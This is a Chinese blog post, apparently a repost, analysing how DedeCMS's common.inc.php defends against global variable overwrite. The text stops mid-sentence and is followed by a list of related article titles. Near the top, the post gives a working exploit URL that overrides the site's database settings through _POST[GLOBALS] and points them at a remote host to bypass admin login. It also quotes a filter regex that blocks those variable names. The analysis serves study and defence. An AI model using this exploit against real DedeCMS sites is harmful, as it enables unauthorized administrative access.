dede源码详细分析之--全局变量覆盖漏洞的防御
来源:互联网 发布:手机串行端口 编辑:程序博客网 时间:2024/04/29 18:04
最近开始分析主流CMS源码,首先就是拿DEDE开刀,谁让我就用它时间长呢。
今天试着写了一个简单的插件,感觉还是比较简单的 只引入了一个common.inc.php 这个文件是dede的入口文件
今天开始研究了一下 common.inc.php 这个文件
发现了一个很有趣的事情
这篇日志主要是说的变脸覆盖问题
众所周知 php的
http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
直接这样写 替换下验证码 就可以登陆后台 因为 GLOBALS数组定义了一些全局变量 cfg_* 正好是 dede数据库配置的变量 然后 dede就误认为这个远程的数据库就是他的数据库 然后在远程精心策划一个和目标站点一样的数据库 用户名和密码 当然是自己知道的 就可以直接不要账号密码登陆了
当然 dede也给出了防御代码 具体可以来分析分析 会发现一个很有趣的事情
dede把所有的get post 等请求都给封装了下 然后 分配到每个变量
在common.inc.php 文件 第37行
function _RunMagicQuotes(&$svar) { if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar; } if (!defined('DEDEREQUEST')) { //检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤) function CheckRequest(&$val) { if (is_array($val)) { foreach ($val as $_k=>$_v) { if($_k == 'nvarname') continue; CheckRequest($_k); CheckRequest($val[$_k]); } } else { if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val) ) { exit('Request var not allow!'); } } } //var_dump($_REQUEST);exit; CheckRequest($_REQUEST); foreach(Array('_GET','_POST','_COOKIE ') as $_request) { foreach($$_request as $_k => $_v) { if($_k == 'nvarname') ${$_k} = $_v; else ${$_k} = _RunMagicQuotes ($_v); } } }
这个就是抵抗变量覆盖的代码 ,这一段代码很有趣, 怎么个有趣呢 他首先会执行这个CheckRequest函数 然后参数是
转自gwyy
- dede源码详细分析之--全局变量覆盖漏洞的防御
- dede源码详细分析之--全局变量覆盖漏洞的防御
- dede源码详细分析之--全局变量覆盖漏洞的防御
- DedeCms全局变量覆盖漏洞
- DEDE全局变量再次覆盖研究
- DEDECMS全局变量覆盖漏洞科普
- Tomcat源码分析之ClassLoader部分的设计详细分析
- Tomcat源码分析之ClassLoader部分的设计详细分析
- udp_sendmsg漏洞(三)--漏洞利用的源码及分析
- PHP源码分析-全局变量
- NetBIOS 漏洞的入侵与防御
- 详解Javaweb中常见漏洞的防御
- android_launcher的源码详细分析
- Android_launcher的源码详细分析
- android_launcher的源码详细分析
- android_launcher的源码详细分析
- android_launcher的源码详细分析
- android_launcher的源码详细分析
- iOS第三方资源
- 博客搬家
- shiro表单登录认证及退出(自定义form认证器)
- 百度地图API
- Mysql大量插入数据时SQL语句的优化
- dede源码详细分析之--全局变量覆盖漏洞的防御
- android 自定义控件学习之三 控件布局常用知识总结
- 图像处理算法——卷积
- 容器集群管理的武林大比
- iOS 常用的框架
- Android中shape的使用
- linux 部署tomcat
- Arrays.sort()总结
- jQuery深入之源码解析(一)